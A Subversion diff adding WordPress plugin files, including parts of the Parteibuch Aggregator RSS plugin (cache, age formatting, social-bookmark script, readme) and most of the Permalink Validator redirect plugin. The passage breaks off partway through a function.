+		$preprocessed_boxtemplate=PBALIB::template_replacements($boxtemplate, $resultparas);
+
+		if($boxtomake == 'kalender_box' || $boxtomake == 'kalenderlist_box'){
+			//this one is tricky: 
+			//1. to query db only once, if we have diffrent kalenderboxes to make, we want them all make at once
+			//2. we want to give some (?) other global results back like kalenderdate
+			//formatted_kalender gives out: 
+			//1. result - as specified with boxtomake
+			//2. kalenderdate - needed later in page templates, 
+			//3. maybe profiler, when profiler enabled set -> now directly sent to pbaout
+
+				//we shall better work with db query results cache ? - nice to see in profiler: mysql does caching automatically very well
+				$formatted_kalender=PBALIB::formatkalender($resultparas, $resultparas['archivdate'], $pbaout, $boxtomake, $preprocessed_boxtemplate);
+				$box['result']=$formatted_kalender['result']; //completely unused so far?
+				$pbaout['kalenderdate']=$formatted_kalender['kalenderdate'];
+
+		}elseif($boxtomake == 'opml_box' || $boxtomake == 'feedlist_box' || $boxtomake == 'feedlistsidebar_box'){
+
+			//we need to pass over dateformat for inside the loop
+			$dateformat="";
+			if (isset($resultparas['dateformat_' . $boxtomake])) $dateformat=$resultparas['dateformat_' . $boxtomake];
+			$feedlist = PBALIB::formatted_feedlist($resultparas, $dateformat, $preprocessed_boxtemplate);
+			$box['result']=$feedlist['result'];
+		}else{
+			//doing nothing special here is perfect for making a search box
+			$box['result']=$preprocessed_boxtemplate; //this
+		}
+
+		return $box;
+	}
+
+	function processtagset($tagsetfromdb){
+		//$bdprssTagSet: tags to possibly keep defined in programm code
+    //$tagsetfromdb - the tags defined as allowed as defined per output id
+    //$formattedtagset: the resulting tagset applied to the items in packageItemText
+    //to do: encapsulate this into function and store it in database!!!
+    global $bdprssTagSet;
+		$formattedtagset = '';
+		if($tagsetfromdb){
+			$kts = preg_split("','", $tagsetfromdb, -1, PREG_SPLIT_NO_EMPTY);
+			foreach($kts as $t){
+				$u = $bdprssTagSet[$t];
+				foreach($u as $v)
+					$formattedtagset .= "$v,";
+			}
+		}
+		return $formattedtagset;
+	}
+
+	function gettheage($seconds, &$resultparas=false, &$ageunitsstring=false){
+	
+		//this function is used inside inner loops and has to be quick
+		//we set $resultparas['ageunit'] on first call with just a string and no array, 
+		//so in following calls we won't have to loop
+
+		if(is_array($resultparas['ageunit'])){
+			$ageunit=$resultparas['ageunit'];
+		}else{
+			if(!$ageunitsstring) $ageunitsstring = get_pbadefaultparameter('ageunitsstring');
+			$ageunitsarray = explode(",", $ageunitsstring);
+			foreach($ageunitsarray as $valuepair){
+				$valuepairarray=explode(":", $valuepair);
+				$ageunit[trim($valuepairarray[0])]= trim($valuepairarray[1]);
+			}
+			$resultparas['ageunit']=$ageunit;
+		}
+		if($seconds < 100000) return $ageunit['never'];		// usually true :)
+		
+		$age = (time() - $seconds);
+		if($age < 0) {
+			$future = TRUE;
+			$age = -$age;
+		}
+		
+		$unit = $ageunit['seconds'];
+		if($age>120.0) {
+			$age /= 60;
+			$unit = $ageunit['minutes'];
+		}	
+		
+		if($age>120.0 && $unit==$ageunit['minutes']){
+			$age /= 60;
+			$unit = $ageunit['hours'];
+		}	
+
+		if($age>48.0 && $unit == $ageunit['hours']){
+			$age /= 24;
+			$unit = $ageunit['days'];
+		}	
+		
+		if($age>21.0 && $unit==$ageunit['days']){
+			$age /= 7;
+			$unit = $ageunit['weeks'];
+		}
+		
+		if($age>13.0 && $unit==$ageunit['weeks']) 
+		{				
+			$age /= 4.34821;
+			$unit = $ageunit['months'];
+		}
+		
+		if($age>=24.0 && $unit==$ageunit['months']){
+			$age /= 12;
+			$unit = $ageunit['years'];
+		}
+			
+		$age = round($age, 0);
+		if(!isset($future)) {
+			if($ageunit['before'] != "") $ageunit['before'] = $ageunit['before'] . " ";
+			if($ageunit['beforeafter'] != "") $ageunit['beforeafter'] = " " . $ageunit['beforeafter'];
+			$return = $ageunit['before'] . "$age $unit" . $ageunit['beforeafter'];
+		} else {
+			$return = $ageunit['in'] . " $age $unit";
+		}
+		return $return;
+	}
+
+//pba_cache($identifier, $content, 'write', $name, 'mixed', 0, 'OK');
+//pba_cache($identifier, $content, 'housekeeping', $name, 'mixed', 500, 'OK');
+//pba_cache($identifier, $content, 'clear', $name, 'mixed', 180, 'OK');
+//$cachereturn=pba_cache($identifier, $dummy, 'get', $name, 'mixed', 1800, 'OK');
+//if($cachereturn[1]) echo "Here is what I got: " . print_r($cachereturn);
+//if($cachereturn[0]) echo "Got no cache";
+
+	function pba_cache(&$identifier, &$cache_content, $cache_mode='get', $name='c', $type='mixed', $cache_max_time=180, $serverstatus='OK'){
+		$cache_file=false;
+		$cache_path=PBA_CACHE_PATH;
+		
+		//if identifier is just a short string containing nothing else then a-zA-Z0-9_-, we will use it as part of filename instead of md5
+		if(is_string($identifier)) {
+			if(strlen($identifier)<=40){
+				if(preg_match('/^[a-zA-Z0-9_-]+$/',$identifier)){
+					$cache_file=$cache_path . $name . '_' . $identifier;
+				}
+			}
+		}
+		if(!$cache_file){
+			$cache_file=$cache_path . $name . '_' . md5(serialize($identifier));
+		}
+	
+	//to the filenames on disk will be appended:
+	//__c for check files, __d for data files, __t for tmp files
+	
+		if($cache_mode=='write'){
+			$wrote_cache=false;
+			if ($serverstatus == 'OK' && !file_exists($cache_file."__t") && !(@filemtime($cache_file."__d") + $cache_max_time > time())){
+				$cache_file_handle = fopen($cache_file."__t", 'w+');
+				
+				if($type=='string') {
+					if(fwrite($cache_file_handle, $cache_content)) $wrote_cache=true;
+				} else {
+					if(fwrite($cache_file_handle, serialize($cache_content))) $wrote_cache=true;
+				}
+				fclose($cache_file_handle);
+				rename($cache_file."__t",$cache_file."__d");
+				@touch($cache_file."__c");
+			}
+			return $wrote_cache;
+		}
+		if($cache_mode=='get'){
+			$got_cache=false;
+			if (file_exists($cache_file."__c")){
+				if( @filemtime($cache_file."__d") + $cache_max_time > time() && $serverstatus == 'OK' ) {
+					if($type=='string') {
+						if($get_cache=file_get_contents($cache_file."__d")) $got_cache=true;
+					} else {
+						if($get_cache=unserialize(file_get_contents($cache_file."__d"))) {
+							$got_cache=true;
+						}
+					}
+				}
+			}
+			if(!$got_cache) $get_cache = $identifier;
+			return array($get_cache,$got_cache);
+		}
+	
+		if($cache_mode=='housekeeping'){
+			$counter=0;
+			if($serverstatus == 'OK'){
+				foreach (glob($cache_path . "*__?") as $filename) {
+					if(preg_match('/__[cd]$/',$filename)){
+		    		if(filemtime($filename) + $cache_max_time < time()) {
+				    	unlink($filename);
+		    			$counter++;
+		    		}
+		    	}
+				}
+			}
+			return $counter;
+		}
+	
+		if($cache_mode=='clear'){
+			$counter=0;
+			foreach (glob($cache_path . "*__?") as $filename) {
+	    	unlink($filename);
+	    	$counter++;
+			}
+			return $counter;
+		}
+	}
+	
+
+}// end class PBALIB
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/readme.txt	(revision 44)
@@ -0,0 +1,116 @@
+=== Parteibuch Aggregator ===
+Contributors: katzenfreund
+Donate link: http://www.mein-parteibuch.com/
+Tags: aggregator, rss, page, sidebar, search
+Requires at least: 2.1
+Tested up to: 2.7.1
+Stable tag: 0.5.2
+
+Easy to use RSS aggregator for pages and sidebars of your blog with search capability.
+
+== Description ==
+The Parteibuch Aggregator is a RSS aggregator that will display aggregated feeds in wordpress pages and sidebars. Share the feeds you read with the visitors of your blog. It is designed to be able to cope with hundreds of feeds, hundred thousands of aggregated feed items and a lot of traffic.
+
+Main features:
+
+* users can search in aggregated feeds
+* allows to display diffrent groups of feeds on different pages
+* templates make the display of aggregated feeds almost completely customizable
+* provides a widget for displaying aggregated feeds and searchform in the sidebar
+* provides RSS feeds from aggregated feeds and search results
+
+== Installation ==
+
+1. Unzip and upload `parteibuch-aggregator` to the `/wp-content/plugins/` directory
+1. Activate the plugin through the 'Plugins' menu in your blog
+1. Follow the link `start configuration here` provided by `Parteibuch Aggregator` in plugin description in your blog's 'Plugins' menu
+1. If you like, add a Parteibuch Aggregator widget to the sidebar of your blog
+
+== Frequently Asked Questions ==
+
+= What php/mysql version do I need to run the Parteibuch Aggregator? =
+
+Minimal system requirements for the Parteibuch Aggregator are:
+
+* mysql 5.0 or higher (Parteibuch Aggregator may work on mysql 4.x versions, but it was not tested on any . If you want to try that anyway, you have to outcomment the version check in source. Please drop us a line about your experiences.)
+* php 5.0 or higher (Parteibuch Aggregator was not tested on any php 4.x version. If you want to try that anyway, you have to outcomment the version check in source. Please drop us a line about your experiences)
+* your php MUST have multibyte string support (Most php compilations out of the box have it.)
+
+= Is there multilanguage support? =
+
+The fronend is completely configurable. You can configure in templates to show your blog visitors whatever you like. Predefined are language sets for the frontend in German and English. The administration interface is in English.
+
+= Can the Parteibuch Aggregator do this and that or make coffee? =
+
+Probably. The Parteibuch Aggregator is an extremely flexible piece of software based on user defined templates and directed by about hundred parameters. You are free to play around with these. If you got a nice result, drop us a note how you configured it or hacked the source to make it doing this and that or making coffee.
+
+= Is there some more doumentation? =
+
+Try visiting [www.mein-parteibuch.com](http://www.mein-parteibuch.com/ "Mein Parteibuch - A home for nasty cats") and search for `Parteibuch Aggregator`.
+
+= How to completely uninstall the Parteibuch Aggregator? =
+
+By default, when the Parteibuch Aggregator plugin is deactivated, it will not delete any of it's data. 
+So when you reactivate the Parteibuch Aggregator plugin later, you didn't loose your configs and aggregated data.
+
+However, there is a way to tell the Parteibuch Aggregator, that it shall on plugin deactivation completely
+delete all it's data. If you want the Parteibuch Aggregator to completely delete all it's data, go to the 
+"Manage global options" config page in Parteibuch Aggregator admin area, tick the checkbox "Delete all data 
+on plugin deactivation?", press the save button and then deactivate the Parteibuch Aggregator plugin. The 
+"Delete all data on plugin deactivation?" option will tell the Parteibuch Aggregator on plugin deactivation 
+to drop all it's database tables, clear the cache and remove all it's option settings from your wordpress.
+
+== Screenshots ==
+
+1. Screenshot of a fresh Parteibuch Aggregator 0.5 installation on a fresh German Wordpress 2.71 using the default Kubrick theme.
+2. Screenshot of a Parteibuch Aggregator 0.5 installation on an English Wordpress 2.21 blog running already for a long time.
+
+== Changelog ==
+= Changelog of version 0.5.2 against version 0.5.1 =
+1. Bugfix: of page rewrite rules to repair broken blog/yyyy/mm/ and xyz/comments/feed/, made cache and search rule tighter in bdp-rss-aggregator.php
+2. Bugfix: Set page2hookin to 0 when creating new output as copy from existing in createpbaoutput() in bdp-rssaggregator-db.php
+3. New features: added some form fields to change db values of feeds in bdp-rssadmin-sno.php, 
+	added processing these form fields to bdp-rssadmin in if( isset($_POST['bdprss_edit_site_button']) ) part
+	for feed url change added function update_feedurl to bdp-rssaggregator-db.php
+4. New features: made search class config variables to be read as definition from wp-config.php in pba-rsssearch.php
+5. Code cleanup: made touch silent when writing to cache in pba_cache() in pba_output_library.php
+6. Code cleanup: Cleaned up some comments, made notice from createlist() go away in bdp-rssaggregator-db.php
+7. Code cleanup: replaced obsolete functions with placeholders in bdp-rss-aggregator.php, pba_output_function.php
+	print_item_set, putsiteheader, output, archiveDate, archiveList, viewCache, rss_print_item_set, feeds_in_ticker, feedlist, process_url_parameter
+8. Code cleanup: removed obsolete outputtable variables 
+	and its functions get_all_outputs, get_output, deleteoutput in bdp-rssaggregator-db.php, pba_output_library.php
+9. Code cleanup: removed obsolete file bdp-rssadmin-output.php and removed it's inclusion from bdp-rssadmin.php
+10. Code cleanup: removed obsolete listtable vars in bdp-rssaggregator-db.php
+11. Code cleanup: removed old output function calling possibilities in pba_output_function.php
+12. Code cleanup: Added one parameter caller style to gettheage() in pba_outputlibrary
+	switched all function calls of BDPRSS2::getage() to it in 
+	bdp-rss-aggregator.php, bdp-rssadmin-error.php, bdp-rssadmin-edit.php, bdp-rssadmin-general.php
+	and removed BDPRSS2::getage() from bdp-rss-aggregator.php
+13. Code cleanup: switched constant names BDPRSS2_PRODUCT and BDPRSS2_VERSION to PBA_PRODUCT and PBA_VERSION
+	in bdp-rss-aggregator.php, bdp-rssadmin.php, bdp-rssfeed.php, pba_output_library.php
+14. Code cleanup: switched constant name BDPRSS2_DIRECTORY to PBA_DIRECTORY
+	in bdp-rss-aggregator.php, bdp-rssadmin-general.php, bdp-rssadmin.php, pba_output_library.php
+15. Code cleanup: deleted unused sql from getmonthlyarchivedates() in bdp-rssaggregator-db.php
+16. Code cleanup: checked pfeed['title'] definition to suppress php notice from line 343 in bdp-rss-aggregator.php
+17. Code cleanup: deleted obsolete functions getArchiveList, getItems in bdp-rssaggregator-db.php
+18. Code cleanup: renamed pba_widgets.php to pba-widgets.php and made appropriate change in bdp-rss-aggregator.php
+19. Code cleanup: renamed pba-output.php, pba-options.php, pba-status.php to pba-admin-xxx.php and made appropriate change in bdp-rssadmin.php
+
+= Changelog of version 0.51 against version 0.5 =
+1. Fixed bug with hard coded load threshold from old code in add_heap2search_index() in pba-rsssearch.php
+2. Slightly corrected German $defaultparameter['ageunitsstring'] in pba-defaultparameter_de.php
+3. switched superparameter processing to be done after server status evaluation in getoutputconfigparameter() in pba_output_library.php
+4. no wp_register_sidebar_widget function in wp 2.1, so check this in pba_widgets.php
+5. added additional conditions to if $resultparas['specialpage1url'] in makelastpagehref() in pba_output_library.php
+6. added some more variables to return with pbaout in outputwrapper() ln 341 ff in pba_output_function.php
+7. bugfix of page rewrite rules, rules more tight, changed namespace for pages in ticker from page to tickerpage
+	in pba_rewrite() in bdp-rss-aggregator.php, 
+	in geturlparameter(), makefeedhref(), makelastpagehref(), makenextpagehref() in pba_output_library.php
+8. bugfix: specified utf8 charset and ci collation in all db table creation statements in bdp-rssaggregator-db.php
+9. bugfix: reduced keylength of itemtable due to specification above of utf8 in bdp-rssaggregator-db.php
+10. switched codeQuotes() to reflect real values in bdp-rss-aggregator.php
+11. changed default highloadthreshold to 10 in bdp-rssaggregator-db.php
+
+= Changes from version 0.5 against version 0.2 =
+1. Many changes in most db tables, filesystem, output function, template introduction, if you need to migrate, check and migrate your db manually
+2. Note: there was out a now obsolete version of 0.5 for a couple of hours, which ran in directory parteibuchaggregator instead of parteibuch-aggregator
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/social_bookmarks.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/social_bookmarks.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/social_bookmarks.php	(revision 44)
@@ -0,0 +1,81 @@
+<?php
+
+//this script is called directly by browsers
+//we need php in this script only to put in the link to the social bookmark directory
+$directory=preg_replace('/\/[^\/]*$/',"",$_SERVER['REQUEST_URI']);
+
+?>function sbopen(url){
+	sbwin=window.open(url, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no');
+	sbwin.focus();
+}
+
+function replace_link_title(intext, link, thetext) {
+	intext = intext.replace('##THE_LINK##', link);
+	intext = intext.replace('##THE_TITLE##', thetext);
+	intext = intext.replace('%23%23THE_TITLE%23%23', thetext);
+	return intext.replace('%23%23THE_TITLE%23%23', thetext);
+}
+
+
+function sbbview(divid, sbblink, sbbtitle){
+	var ssbdiv = document.getElementById(divid);
+	if (ssbdiv.style.display != 'block') {
+		ssbdiv.style.display = 'block';
+	}else {
+		if (ssbdiv.style.display == 'block') {
+			ssbdiv.style.display = 'none';
+		}
+	}
+	
+	if(ssbdiv.id != 'sbbpt_id_social_prototype'){
+		var sbbprototype = document.getElementById('sbbpt_id_social_prototype');
+		var numofchilds  = sbbprototype.childNodes.length -1;
+		for(var i = 0; numofchilds >= i;  i++)	{
+			if(!ssbdiv.childNodes[i]){
+				var clonednode = sbbprototype.childNodes[i].cloneNode(true);
+				ssbdiv.appendChild(clonednode);
+			}
+		}
+	}
+	
+	var numofchilds  = ssbdiv.childNodes.length -1;
+	for(var i = 0; numofchilds >= i;  i++)	{
+		if(ssbdiv.childNodes[i].href){
+			ssbdiv.childNodes[i].href=replace_link_title(ssbdiv.childNodes[i].href, sbblink, sbbtitle);
+		}
+		if(ssbdiv.childNodes[i].title){
+			ssbdiv.childNodes[i].title=replace_link_title(ssbdiv.childNodes[i].title, sbblink, sbbtitle);
+		}
+	}
+	
+	return;
+}
+
+function writesbb(link, caption, icon){
+	document.write('<a onclick="sbopen(this.href);return false;" href="' + link + '" title="\'##THE_TITLE##\' bookmarken bei ' + caption + '"><img style="padding:1px; width:18px; height:18px; border-width:0px;" src="<?php echo $directory; ?>' + icon + '" alt="' + caption + '" /></a>');
+	return;
+}
+
+
+document.write('<div id="sbbpt_id_social_prototype" style="display:none;padding:5px; margin-left:auto; margin-right:auto; text-align:center;">');
+
+writesbb('http://www.wikio.de/vote?url=##THE_LINK##', 'Wikio', '/ico/sb/wikio2_18x18.jpg');
+writesbb('http://www.alltagz.de/bookmarks/?action=add&amp;address=##THE_LINK##&amp;title=%23%23THE_TITLE%23%23', 'Alltagz', '/ico/sb/alltagz.gif');
+writesbb('http://www.icio.de/add.php?url=##THE_LINK##"', 'icio', '/ico/sb/icio.gif');
+writesbb('http://infopirat.com/node/add/userlink?edit[url]=##THE_LINK##&amp;edit[title]=%23%23THE_TITLE%23%23"', 'Infopirat', '/ico/sb/infopirat.gif');
+writesbb('http://linkarena.com/bookmarks/addlink/?url=##THE_LINK##&amp;title=%23%23THE_TITLE%23%23"', 'Linkarena', '/ico/sb/linkarena.gif');
+writesbb('http://www.mister-wong.de/addurl/?bm_url=##THE_LINK##&amp;bm_description=%23%23THE_TITLE%23%23"', 'Mister Wong', '/ico/sb/mister-wong.gif');
+writesbb('http://www.oneview.de/quickadd/neu/addBookmark.jsf?URL=##THE_LINK##&amp;title=%23%23THE_TITLE%23%23"', 'Oneview', '/ico/sb/oneview.gif');
+writesbb('http://tausendreporter.stern.de/submit.php?url=##THE_LINK##&amp;title=%23%23THE_TITLE%23%23"', 'Tausend Reporter', '/ico/sb/tausend-reporter-stern.gif');
+writesbb('http://www.webnews.de/einstellen?url=##THE_LINK##&amp;title=%23%23THE_TITLE%23%23"', 'Webnews', '/ico/sb/webnews.gif');
+writesbb('http://yigg.de/neu?exturl=##THE_LINK##"', 'Yigg', '/ico/sb/yigg.gif');
+writesbb('http://del.icio.us/post?url=##THE_LINK##&amp;title=%23%23THE_TITLE%23%23"', 'Del.icio.us', '/ico/sb/delicious.png');
+writesbb('http://digg.com/submit?phase=2&amp;url=##THE_LINK##&amp;title=%23%23THE_TITLE%23%23"', 'digg', '/ico/sb/digg.png');
+writesbb('http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=%23%23THE_TITLE%23%23&amp;Description=%23%23THE_TITLE%23%23&amp;Url=##THE_LINK##"', 'blinklist', '/ico/sb/blinklist.png');
+writesbb('http://www.technorati.com/faves?add=##THE_LINK##"', 'Technorati', '/ico/sb/technorati.png');
+writesbb('http://myweb2.search.yahoo.com/myresults/bookmarklet?u=##THE_LINK##&amp;t=%23%23THE_TITLE%23%23"', 'Yahoo My Web', '/ico/sb/yahoo_myweb.png');
+writesbb('http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=##THE_LINK##&amp;title=%23%23THE_TITLE%23%23"', 'Google Bookmarks', '/ico/sb/google.png');
+writesbb('http://co.mments.com/track?url=##THE_LINK##&amp;title=%23%23THE_TITLE%23%23"', 'Co.mments', '/ico/sb/comments.png');
+writesbb('http://www.bloglines.com/sub/##THE_LINK##"', 'Bloglines', '/ico/sb/bloglines.png');
+
+document.write('</div>');
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/variables.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/variables.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/variables.php	(revision 44)
@@ -0,0 +1,96 @@
+<br>Variables for the <a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php">Parteibuch Aggregator</a> template engine.
+<br>If you like to play around with the templates, this list may be helpful for you, but don't expect it to be tested from a-z, it's just a quick snapshot from pba_output_library.php source.
+<br>
+<br>Variables understood inside the loop ###LOOPBEGIN### ... ###LOOPEND### differ from variables outside, ie in header and footer section of a template.
+<br>Some variables will only work in specific templates. 
+<br>
+<br>###SEARCHPHRASE###
+<br>###ARCHIVEDATE###
+<br>###FEEDHREF###
+<br>###FOUNDITEMS###
+<br>###STARTITEM###
+<br>###LASTITEM###
+<br>###LASTPAGE###
+<br>###NEXTPAGE###
+<br>###LASTPAGEHREF###
+<br>###NEXTPAGEHREF###
+<br>###KALENDERHREF###
+<br>###FEEDLISTHREF###
+<br>###FEEDOPMLHREF###
+<br>###OUTPUTNAME###
+<br>###CHANNEL_TITLE###
+<br>###HTMLPAGE###
+<br>###CHANNEL_DESCRIPTION###
+<br>###CHANNEL_LANGUAGE###
+<br>###CHANNEL_COPYRIGHT###
+<br>###FIRSTITEM_DATEFEED###
+<br>###HTMLHREF###
+<br>###BASEURL###
+<br>###PBA_VERSION###
+<br>###KALENDERDATE###
+<br>###KALENDERLIST_BOX###
+<br>###KALENDER_BOX###
+<br>###FEEDLISTSIDEBAR_BOX###
+<br>###SEARCH_BOX###
+<br>###SEARCHPHRASE###
+<br>###ARCHIVEDATE###
+<br>###FEEDHREF###
+<br>###FOUNDITEMS###
+<br>###STARTITEM###
+<br>###LASTITEM###
+<br>###LASTPAGE###
+<br>###NEXTPAGE###
+<br>###LASTPAGEHREF###
+<br>###NEXTPAGEHREF###
+<br>###KALENDERHREF###
+<br>###FEEDLISTHREF###
+<br>###FEEDOPMLHREF###
+<br>###OUTPUTNAME###
+<br>###CHANNEL_TITLE###
+<br>###HTMLPAGE###
+<br>###CHANNEL_DESCRIPTION###
+<br>###CHANNEL_LANGUAGE###
+<br>###CHANNEL_COPYRIGHT###
+<br>###FIRSTITEM_DATEFEED###
+<br>###HTMLHREF###
+<br>###BASEURL###
+<br>###PBA_VERSION###
+<br>###KALENDERDATE###
+<br>###KALENDERLIST_BOX###
+<br>###KALENDER_BOX###
+<br>###FEEDLISTSIDEBAR_BOX###
+<br>###SEARCH_BOX###
+<br>
+<br>variables to be understood inside the body loop
+<br>###RESULT_ROWNUMBER###
+<br>###BASEURL###
+<br>###SITE_ID###
+<br>###SITE_NAME###
+<br>###SITE_FEEDURL###
+<br>###SITE_DESCRIPTION###
+<br>###SITE_LICENSE###
+<br>###SITE_URL###
+<br>###SITE_UPDATETIME###
+<br>###ITEM_ID###
+<br>###ITEM_URL###
+<br>###ITEM_NAME###
+<br>###ITEM_LICENSE###
+<br>###ITEM_TIMESTAMP###
+<br>###ITEM_UPDATETIMESTAMP###
+<br>###ITEM_BODY###
+<br>###CACHEHREF###
+<br>###ITEM_DATEFEED###
+<br>###FIRSTITEM_DATEFEED###
+<br>###ITEM_DATETIME###
+<br>###ITEM_UPDATEDATETIME###
+<br>###ITEM_UPDATEDATE###
+
+<br>Further more the header and footer understand some conditional variable pairs:
+<br>ISSEARCHBEGIN ... ISSEARCHEND
+<br>ISDATEBEGIN ... ISDATEEND
+<br>ISNODATENOSEARCHBEGIN ... ISNODATENOSEARCHEND
+<br>LASTLINKBEGIN ... LASTLINKEND
+<br>NEXTLINKBEGIN ... NEXTLINKEND
+
+Have some fun ;-)
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/wrapper/uptime_wrapper.sh
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/wrapper/uptime_wrapper.sh	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/wrapper/uptime_wrapper.sh	(revision 44)
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+/usr/bin/uptime
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/permalink-validator/permalink-validator.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/permalink-validator/permalink-validator.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/permalink-validator/permalink-validator.php	(revision 44)
@@ -0,0 +1,304 @@
+<?php
+/*
+Plugin Name: Permalink Validator
+Plugin URI: http://wordpress.org/extend/plugins/permalink-validator/
+Description: Validates the URL used and if not matching the official permalink then it issues a HTTP 301 or HTTP 404 message.
+Author: Rolf Kristensen
+Version: 0.7
+Author URI: http://smallvoid.com/
+*/
+
+function permalink_validator_activate()
+{
+	if (isset($_SERVER["REQUEST_METHOD"]) && $_SERVER["REQUEST_METHOD"] == 'POST')
+		return false;
+	if (defined('BBPATH'))
+		return false;
+	if ( is_404() )
+		return false;
+	if ( is_preview() )
+		return false;
+	if ( is_search() )
+		return false;	// use noindex in header
+	if ( is_date() )
+		return false;	// use noindex in header
+	if ( function_exists( 'is_tag' ) && is_tag() )
+		return false;	// use noindex in header
+	if ( is_trackback() )
+		return false;
+	if ( is_admin() )
+		return false;
+	if ( is_feed() )
+		return false;	// block feeds from being index'ed in robots.txt
+	if ( is_comments_popup() )
+		return false;
+	if ( function_exists( 'is_keyword' ) && is_keyword() )
+		return false;	// Jeromeï¿œs Keywords (Use noindex in header)
+
+	// Hack to make it easy to exclude one or more special page urls
+	//   $excludes = array("/index.php/forum/");
+	//   $excludes = array("/forum/", "/photos/");
+	$excludes = array();
+	foreach($excludes as $exclude) {
+		if (strpos($_SERVER['REQUEST_URI'],$exclude)==0) {
+			return;
+		}
+	}
+
+	return true;
+}
+
+// Is frontpage page of posts
+function permalink_page_of_posts($page)
+{
+	if (get_option('show_on_front') && get_option('page_for_posts') && strpos($page,get_page_link(get_option('page_for_posts')))!==FALSE)
+		return true;
+	else
+		return false;
+}
+
+function permalink_validator() {
+	global $wp_query;
+	global $wp_rewrite;
+	global $posts;
+	
+	if (!permalink_validator_activate())
+		return;
+	
+	$page  = ( isset($_SERVER['HTTPS'] ) && strtolower($_SERVER['HTTPS']) == 'on' ) ? 'https://' : 'http://';
+	$page .= $_SERVER['HTTP_HOST'];
+	$page .= $_SERVER['REQUEST_URI'];
+
+	if ( is_home() )
+	{
+		$link = get_settings('home') . '/';
+		$page_of_posts = permalink_page_of_posts($page);
+		if ($page_of_posts===true)
+			$link = get_page_link(get_option('page_for_posts'));
+
+		if (is_paged())
+		{
+			if (count($posts) < 1 || $posts[0]->ID=='')
+			{
+				$wp_query->set_404();
+				return;
+			}
+
+			$paged = abs($wp_query->get('paged'));
+			if (!$wp_rewrite->using_permalinks())
+			{
+				if ($paged > 1)
+				{
+					if ($page_of_posts===true)
+						$link .= '&paged=' . $paged;
+					else
+						$link .= 'index.php?paged=' . $paged;
+				}
+			}
+			else
+			{
+				if ($paged > 1)
+				{
+					if ($wp_rewrite->using_index_permalinks() && $page_of_posts===false)
+						$link .= 'index.php/';
+					$link .= 'page/' . $paged . '/';
+				}
+			}
+		}
+			
+		if ($link != $page)
+		{
+			header('HTTP/1.1 301 Moved Permanently');
+			header('Status: 301 Moved Permanently');
+			header("Location: $link");
+			exit(0);
+		}
+	}
+	else if ( is_category() )
+	{
+		$cat_obj = $wp_query->get_queried_object();
+		if (!isset($cat_obj))
+		{
+			$wp_query->set_404();
+			return;
+		}
+
+		$link = get_category_link($cat_obj->cat_ID);
+		if (is_paged())
+		{
+			if (count($posts) < 1 || $posts[0]->ID=='')
+			{
+				$wp_query->set_404();
+				return;
+			}
+
+			$paged = abs($wp_query->get('paged'));
+			if (!$wp_rewrite->using_permalinks())
+			{
+				if ($paged > 1)
+					$link .= '&paged=' . $paged;
+			}
+			else
+			{
+				if ($paged > 1)
+					$link .= 'page/' . $paged . '/';
+			}
+		}
+
+		if ($link!=$page)
+		{
+			header('HTTP/1.1 301 Moved Permanently');
+			header('Status: 301 Moved Permanently');
+			header("Location: $link");
+			exit(0);
+		}
+	}
+	else if ( is_single() )
+	{
+		if (count($posts) < 1 || $posts[0]->ID=='')
+		{
+			$wp_query->set_404();
+			return;
+		}
+
+
+		if (get_permalink($posts[0]->ID)!=$page)
+		{
+			$link = get_permalink($posts[0]->ID);
+			header('HTTP/1.1 301 Moved Permanently');
+			header('Status: 301 Moved Permanently');
+			header("Location: $link");
+			exit(0);
+		}
+	}
+	else if ( is_page() )
+	{
+		if (count($posts) < 1 || $posts[0]->ID=='')
+		{
+			$wp_query->set_404();
+			return;
+		}
+
+		if (get_option('show_on_front')=='page' && get_option('page_on_front')==$posts[0]->ID)
+		{
+			// Static frontpage (WP 2.1+)
+			if ($page!=(get_settings('home') . '/'))
+			{
+				$link = get_settings('home');
+				header('HTTP/1.1 301 Moved Permanently');
+				header('Status: 301 Moved Permanently');
+				header("Location: $link");
+				exit(0);
+			}
+			return;
+		}
+
+		if (get_page_link($posts[0]->ID)!=$page)
+		{
+			$link = get_page_link($posts[0]->ID);
+			header('HTTP/1.1 301 Moved Permanently');
+			header('Status: 301 Moved Permanently');
+			header("Location: $link");
+			exit(0);
+		}
+	}
+	else
+	{
+		return;	// Unknown page-type (just pass it through)
+
+		echo $_SERVER['REQUEST_URI'];
+		exit(0);
+
+		$wp_query->set_404();
+		return;
+	}
+	return;
+}
+
+function fix_request_uri_iis()
+{
+	global $is_IIS;
+	global $wp_rewrite;
+
+	// Only IIS is having problem with REQUEST_URI
+	if (!$is_IIS)
+		return;
+
+	// Should only fix REQUEST_URI for pages where the validator is used
+	if (!permalink_validator_activate())
+		return;
+
+	// IIS Mod-Rewrite
+	if (isset($_SERVER['HTTP_X_ORIGINAL_URL']))
+	{
+		$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL'];
+		return;
+	}
+	
+	// IIS Isapi_Rewrite
+	if (isset($_SERVER['HTTP_X_REWRITE_URL']))
+	{
